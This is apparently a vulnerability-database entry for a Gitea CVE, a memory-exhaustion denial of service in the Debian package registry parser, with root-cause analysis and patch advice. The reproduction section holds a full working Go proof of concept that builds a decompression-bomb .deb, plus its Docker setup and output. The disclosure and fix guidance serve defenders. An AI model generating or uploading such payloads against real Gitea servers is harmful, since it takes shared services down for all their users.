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Gitea CVE-2026-56755

HIGH
Improper Handling of Highly Compressed Data (Data Amplification) (CWE-409)
2026-07-21 https://github.com/go-gitea/gitea GHSA-6hm7-3pwj-22rm
Gitea Denial Of Service Debian Docker
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Severity by source

vuln.today AI
6.5 MEDIUM

Remotely reachable HTTP upload (AV:N) needing only a package-write account (PR:L), no interaction; single request reliably exhausts resources (AC:L) with availability-only impact (A:H, C/I:N).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 21, 2026 - 21:02 vuln.today
Analysis Generated
Jul 21, 2026 - 21:02 vuln.today
CVE Published
Jul 21, 2026 - 20:24 cve.org
HIGH

DescriptionCVE.org

Gitea's Debian package registry parser contains an unbounded decompression vulnerability in ParseControlFile. When processing an uploaded .deb file, the parser decompresses control.tar.gz and copies the entire uncompressed stream into a strings.Builder via a TeeReader, with no limit on how much data is read. Because DEFLATE compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB .deb payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with += at modules/packages/debian/metadata.go:161 inside a loop, producing O(N²) allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at routers/api/packages/debian/debian.go:146.

Root Cause

There are two distinct root causes that can be exploited independently or together.

1. Unbounded decompression (decompression bomb) ParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L88-L110

The resulting inner reader is passed directly to the tar reader, and from there to ParseControlFile. Inside ParseControlFile, every byte that the bufio.Scanner reads from the decompressed stream is simultaneously written into an unbounded strings.Builder via io.TeeReader:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L147-L150

There is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase - pub, conan, and cargo - all wrap their readers with io.LimitReader before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack.

2. O(N²) string concatenation For each continuation line belonging to the Description field, the parser appends to a plain string with +=:

https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L158-L164

Because Go strings are immutable, every += allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N²) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM.

Reproducing

I have reproduced the issue in a Docker container with the following PoC. It may need tweaks based on the memory you are reproducing it with.

This has been reproduced on commit 9155a81b9daf1d46b2380aa91271e623ac947c1e.

All the files go in the gitea file directory.

cmd/poc/main.go

go
package main

import (
	"archive/tar"
	"bytes"
	"compress/gzip"
	"fmt"
	"io"
	"os"
	"runtime"
	"strings"
	"time"

	"github.com/blakesmith/ar"

	debian_module "gitea.dev/modules/packages/debian"
)

// targetUncompressed is the desired size of the uncompressed control file.
// Set comfortably above the 12 GB container limit so the OOM kill is reliable.
const targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB

// padLine is the filler field written after the required package fields.
// Using an unknown field key ("X") means the parser discards the value but the
// TeeReader still copies every byte into control.Builder - that is the bug.
// Unlike Description continuation lines this does NOT trigger the O(N²) path,
// so memory exhaustion is purely linear and fast.
const padLine = "X: a\n" // 5 bytes

// controlHeader is a minimal valid Debian control file preamble.
const controlHeader = "Package: evil\n" +
	"Version: 1.0\n" +
	"Architecture: amd64\n" +
	"Maintainer: Evil Hacker <evil@evil.com>\n" +
	"Description: exploit\n"

func printMem() {
	var m runtime.MemStats
	runtime.ReadMemStats(&m)
	// Print RSS-equivalent (HeapSys + StackSys covers most process memory).
	fmt.Printf("[mem] HeapAlloc=%.2f GB  Sys=%.2f GB  TotalAlloc=%.2f GB\n",
		float64(m.HeapAlloc)/1e9,
		float64(m.Sys)/1e9,
		float64(m.TotalAlloc)/1e9,
	)
}

// buildControlTarGz streams a gzip-compressed tar archive containing a single
// "control" entry whose uncompressed size is ~targetUncompressed bytes.
// Writing is done in large batches so the loop itself is fast; gzip compresses
// the repetitive content to a fraction of its original size.
func buildControlTarGz(w io.Writer) error {
	gzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
	if err != nil {
		return fmt.Errorf("gzip.NewWriter: %w", err)
	}
	tw := tar.NewWriter(gzw)

	numPadLines := (targetUncompressed - len(controlHeader)) / len(padLine)
	totalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine))

	if err := tw.WriteHeader(&tar.Header{
		Name:     "./control",
		Mode:     0o644,
		Size:     totalSize,
		ModTime:  time.Now(),
		Typeflag: tar.TypeReg,
	}); err != nil {
		return fmt.Errorf("tar WriteHeader: %w", err)
	}
	if _, err := tw.Write([]byte(controlHeader)); err != nil {
		return fmt.Errorf("write header: %w", err)
	}

	// Write padLine in 5 MB batches (1 M lines × 5 bytes).
	const batchLines = 1_000_000
	batch := []byte(strings.Repeat(padLine, batchLines))
	fullBatches := numPadLines / batchLines
	remainder := numPadLines % batchLines

	fmt.Printf("  Streaming %d lines (%.1f GB) through gzip...\n",
		numPadLines, float64(totalSize)/1e9)

	t0 := time.Now()
	for i := range fullBatches {
		if _, err := tw.Write(batch); err != nil {
			return fmt.Errorf("batch write: %w", err)
		}
		if i%500 == 0 && i > 0 {
			pct := float64(i) / float64(fullBatches) * 100
			fmt.Printf("  ... %.0f%% (%.1fs)\n", pct, time.Since(t0).Seconds())
		}
	}
	if remainder > 0 {
		if _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil {
			return fmt.Errorf("remainder write: %w", err)
		}
	}

	if err := tw.Close(); err != nil {
		return fmt.Errorf("tar close: %w", err)
	}
	if err := gzw.Close(); err != nil {
		return fmt.Errorf("gzip close: %w", err)
	}
	fmt.Printf("  Done in %.1fs\n", time.Since(t0).Seconds())
	return nil
}

// buildDeb writes a complete .deb (ar archive) to w.  The control.tar.gz member
// is the bomb; data.tar.gz is empty.
func buildDeb(w io.Writer) error {
	// Buffer control.tar.gz first so we know its compressed size for the ar header.
	var ctrlBuf bytes.Buffer
	fmt.Println("[phase 1] Generating control.tar.gz (compressed payload)...")
	if err := buildControlTarGz(&ctrlBuf); err != nil {
		return err
	}
	ctrlBytes := ctrlBuf.Bytes()
	fmt.Printf("  control.tar.gz compressed size: %.2f MB\n", float64(len(ctrlBytes))/1e6)

	// Empty data.tar.gz
	var dataBuf bytes.Buffer
	dgzw, _ := gzip.NewWriterLevel(&dataBuf, gzip.BestSpeed)
	tar.NewWriter(dgzw).Close()
	dgzw.Close()
	dataBytes := dataBuf.Bytes()

	arw := ar.NewWriter(w)
	if err := arw.WriteGlobalHeader(); err != nil {
		return err
	}
	now := time.Now()

	for _, member := range []struct {
		name string
		data []byte
	}{
		{"debian-binary", []byte("2.0\n")},
		{"control.tar.gz", ctrlBytes},
		{"data.tar.gz", dataBytes},
	} {
		if err := arw.WriteHeader(&ar.Header{
			Name:    member.name,
			Size:    int64(len(member.data)),
			Mode:    0o644,
			ModTime: now,
		}); err != nil {
			return fmt.Errorf("ar header %s: %w", member.name, err)
		}
		if _, err := arw.Write(member.data); err != nil {
			return fmt.Errorf("ar write %s: %w", member.name, err)
		}
	}
	return nil
}

func main() {
	fmt.Println("=== Gitea Debian Parser - Decompression Bomb PoC ===")
	fmt.Printf("Target uncompressed control file size: %.1f GB\n", float64(targetUncompressed)/1e9)
	fmt.Printf("Container memory limit: 12 GB\n\n")

	// Background goroutine prints memory stats every 2 s.
	go func() {
		for range time.Tick(2 * time.Second) {
			printMem()
		}
	}()

	// Phase 1 - create the payload and save it to a temp file.
	// Writing to disk keeps the ~200 MB compressed payload out of the heap
	// before we start the parse phase.
	tmp, err := os.CreateTemp("", "evil-*.deb")
	if err != nil {
		fmt.Fprintf(os.Stderr, "CreateTemp: %v\n", err)
		os.Exit(1)
	}
	defer os.Remove(tmp.Name())
	defer tmp.Close()

	t0 := time.Now()
	if err := buildDeb(tmp); err != nil {
		fmt.Fprintf(os.Stderr, "buildDeb: %v\n", err)
		os.Exit(1)
	}
	sz, _ := tmp.Seek(0, io.SeekCurrent)
	fmt.Printf("\nPayload .deb on disk: %.2f MB  (took %.1fs)\n\n", float64(sz)/1e6, time.Since(t0).Seconds())

	// Phase 2 - call ParsePackage, mirroring UploadPackageFile at
	// routers/api/packages/debian/debian.go:146.
	// The TeeReader inside ParseControlFile (metadata.go:149) will copy the
	// entire 15 GB decompressed stream into control.Builder, exhausting the
	// 12 GB container limit and triggering an OOM kill.
	fmt.Println("[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...")
	fmt.Println("          Memory will grow until the container is OOM-killed.")
	printMem()

	if _, err := tmp.Seek(0, io.SeekStart); err != nil {
		fmt.Fprintf(os.Stderr, "seek: %v\n", err)
		os.Exit(1)
	}

	t1 := time.Now()
	_, parseErr := debian_module.ParsePackage(tmp)
	// We only reach here if ParsePackage returns before OOM (e.g. scanner error).
	fmt.Printf("\nParsePackage returned after %.1fs: %v\n", time.Since(t1).Seconds(), parseErr)
	printMem()
}

Dockerfile.poc

docker
FROM golang:1.26-bookworm AS builder

WORKDIR /src
# Copy the full repo so the PoC can import gitea.dev/modules/packages/debian
# and github.com/blakesmith/ar via the existing go.mod/go.sum.
COPY . .
# Build only the PoC binary; ignore the rest of the tree.
RUN go build -o /poc ./cmd/poc/
# ── runtime image ──────────────────────────────────────────────────────────────
FROM debian:bookworm-slim
COPY --from=builder /poc /poc
ENTRYPOINT ["/poc"]

Now run the PoC in the Docker container with:

bash
#!/usr/bin/env bash
set -euo pipefail

IMAGE=gitea-debian-poc

echo "=== Building Docker image ==="
docker build -f Dockerfile.poc -t "$IMAGE" .

echo ""
echo "=== Running PoC (memory limit: 12 GB) ==="
echo "    The container will be OOM-killed once memory is exhausted."
echo ""
# --memory caps RSS; --memory-swap equal to --memory disables swap.
# --oom-kill-disable is NOT set so the kernel OOM killer fires normally.
docker run --rm \
  --memory=12g \
  --memory-swap=12g \
  --name gitea-poc \
  "$IMAGE"

EXIT=$?
echo ""
if [ $EXIT -eq 137 ]; then
  echo "Container exited with code 137 (SIGKILL from OOM killer) - vulnerability confirmed."
else
  echo "Container exited with code $EXIT."
fi

You will see the following when running the container (see the heap allocation growing towards the end):

=== Building Docker image ===
DEPRECATED: The legacy builder is deprecated and will be removed in a future release.
            Install the buildx component to build images with BuildKit:
            https://docs.docker.com/go/buildx/

Sending build context to Docker daemon  59.32MB
Step 1/7 : FROM golang:1.26-bookworm AS builder
 ---> eafdda676c2e
Step 2/7 : WORKDIR /src
 ---> Using cache
 ---> db52a8f73485
Step 3/7 : COPY . .
 ---> Using cache
 ---> 4caf57c6e889
Step 4/7 : RUN go build -o /poc ./cmd/poc/
 ---> Using cache
 ---> 286afcb05d0e
Step 5/7 : FROM debian:bookworm-slim
 ---> f54f5c8e2e12
Step 6/7 : COPY --from=builder /poc /poc
 ---> Using cache
 ---> d7d0b269df49
Step 7/7 : ENTRYPOINT ["/poc"]
 ---> Using cache
 ---> b233faaad561
Successfully built b233faaad561
Successfully tagged gitea-debian-poc:latest

=== Running PoC (memory limit: 12 GB) ===
    The container will be OOM-killed once memory is exhausted.

=== Gitea Debian Parser - Decompression Bomb PoC ===
Target uncompressed control file size: 16.1 GB
Container memory limit: 12 GB

[phase 1] Generating control.tar.gz (compressed payload)...
  Streaming 3221225450 lines (16.1 GB) through gzip...
[mem] HeapAlloc=0.04 GB  Sys=0.08 GB  TotalAlloc=0.05 GB
  ... 16% (2.1s)
  ... 31% (3.9s)
[mem] HeapAlloc=0.07 GB  Sys=0.11 GB  TotalAlloc=0.08 GB
  ... 47% (5.8s)
[mem] HeapAlloc=0.11 GB  Sys=0.18 GB  TotalAlloc=0.15 GB
  ... 62% (7.4s)
[mem] HeapAlloc=0.11 GB  Sys=0.18 GB  TotalAlloc=0.15 GB
  ... 78% (9.0s)
[mem] HeapAlloc=0.21 GB  Sys=0.31 GB  TotalAlloc=0.29 GB
  ... 93% (10.8s)
  Done in 11.5s
  control.tar.gz compressed size: 83.07 MB

Payload .deb on disk: 83.07 MB  (took 11.6s)

[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...
          Memory will grow until the container is OOM-killed.
[mem] HeapAlloc=0.21 GB  Sys=0.31 GB  TotalAlloc=0.29 GB
[mem] HeapAlloc=0.41 GB  Sys=0.44 GB  TotalAlloc=0.48 GB
[mem] HeapAlloc=0.25 GB  Sys=0.61 GB  TotalAlloc=1.63 GB
[mem] HeapAlloc=0.63 GB  Sys=0.97 GB  TotalAlloc=2.63 GB
[mem] HeapAlloc=0.83 GB  Sys=1.52 GB  TotalAlloc=3.80 GB
[mem] HeapAlloc=1.39 GB  Sys=2.00 GB  TotalAlloc=5.34 GB
[mem] HeapAlloc=1.37 GB  Sys=2.00 GB  TotalAlloc=5.86 GB
[mem] HeapAlloc=1.42 GB  Sys=2.60 GB  TotalAlloc=6.97 GB
[mem] HeapAlloc=1.40 GB  Sys=3.35 GB  TotalAlloc=8.26 GB
[mem] HeapAlloc=2.25 GB  Sys=3.36 GB  TotalAlloc=9.11 GB
[mem] HeapAlloc=1.97 GB  Sys=4.28 GB  TotalAlloc=10.48 GB
[mem] HeapAlloc=2.73 GB  Sys=4.29 GB  TotalAlloc=11.23 GB
[mem] HeapAlloc=2.77 GB  Sys=5.45 GB  TotalAlloc=12.67 GB
[mem] HeapAlloc=2.90 GB  Sys=5.45 GB  TotalAlloc=13.46 GB
[mem] HeapAlloc=3.57 GB  Sys=5.46 GB  TotalAlloc=14.13 GB
[mem] HeapAlloc=2.94 GB  Sys=5.46 GB  TotalAlloc=16.07 GB
[mem] HeapAlloc=3.72 GB  Sys=5.47 GB  TotalAlloc=16.85 GB
[mem] HeapAlloc=4.50 GB  Sys=5.48 GB  TotalAlloc=17.64 GB
[mem] HeapAlloc=5.30 GB  Sys=7.28 GB  TotalAlloc=19.58 GB
[mem] HeapAlloc=3.82 GB  Sys=7.28 GB  TotalAlloc=20.17 GB
[mem] HeapAlloc=4.66 GB  Sys=7.29 GB  TotalAlloc=21.01 GB
[mem] HeapAlloc=5.33 GB  Sys=7.29 GB  TotalAlloc=21.67 GB
[mem] HeapAlloc=6.62 GB  Sys=9.56 GB  TotalAlloc=24.40 GB
[mem] HeapAlloc=6.62 GB  Sys=9.56 GB  TotalAlloc=24.40 GB
[mem] HeapAlloc=4.72 GB  Sys=9.56 GB  TotalAlloc=25.09 GB
[mem] HeapAlloc=5.54 GB  Sys=9.56 GB  TotalAlloc=25.90 GB
[mem] HeapAlloc=6.28 GB  Sys=9.57 GB  TotalAlloc=26.64 GB
[mem] HeapAlloc=7.15 GB  Sys=9.59 GB  TotalAlloc=27.51 GB
[mem] HeapAlloc=8.27 GB  Sys=12.40 GB  TotalAlloc=30.43 GB
[mem] HeapAlloc=5.52 GB  Sys=12.40 GB  TotalAlloc=30.90 GB
[mem] HeapAlloc=6.35 GB  Sys=12.40 GB  TotalAlloc=31.74 GB
[mem] HeapAlloc=7.18 GB  Sys=12.40 GB  TotalAlloc=32.57 GB
[mem] HeapAlloc=8.01 GB  Sys=12.41 GB  TotalAlloc=33.39 GB
[mem] HeapAlloc=8.80 GB  Sys=12.43 GB  TotalAlloc=34.19 GB

Articles & Coverage 1

News 4 New Docker Vulnerabilities - 1 Critical, 3 High Severity Jul 22, 2026

AnalysisAI

Denial of service in Gitea's Debian package registry (all versions before 1.27.0) lets any authenticated user with package write access crash the server with a single .deb upload. The parser's ParseControlFile decompresses control.tar.gz with no size limit and tees the entire stream into a strings.Builder, so an 83 MB payload expands to 16+ GB and exhausts memory; a companion O(N²) string concatenation on Description continuation lines can independently saturate a CPU core. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Obtain package-write account or token
Delivery
Craft 83 MB decompression-bomb .deb
Exploit
Upload to Debian registry endpoint
Execution
Parser tees 16 GB into unbounded builder
Persist
Server memory exhausted, OOM kill
Impact
Gitea instance down for all users
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Vulnerability AssessmentAI

Exploitation Requires an authenticated Gitea account holding write access to a package registry and a Gitea instance with the Debian package registry enabled and reachable (the default registry handler at routers/api/packages/debian/debian.go:146). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment No CVSS vector, EPSS score, or KEV listing was provided in the input, so quantitative exploitation-probability signals are absent and must be stated as such rather than assumed. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with a low-privilege Gitea account that has write access to any package registry crafts an 83 MB .deb whose control.tar.gz decompresses to over 16 GB (or a control file with hundreds of thousands of Description continuation lines) and PUSHes it to the Debian upload endpoint. As ParseControlFile tees the decompressing stream into an unbounded builder, server memory climbs until the process is OOM-killed, taking down the shared Gitea instance for all users. …
Remediation Vendor-released patch: upgrade Gitea to 1.27.0 or later, which adds the missing byte limit to the Debian control-file parse path and replaces the O(N²) += concatenation with a bounded strings.Builder (see PR 38406 and PR 38426, advisory GHSA-6hm7-3pwj-22rm at https://github.com/go-gitea/gitea/security/advisories/GHSA-6hm7-3pwj-22rm). … Detailed patch versions, workarounds, and compensating controls in full report.
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CVE-2026-56755 vulnerability details – vuln.today
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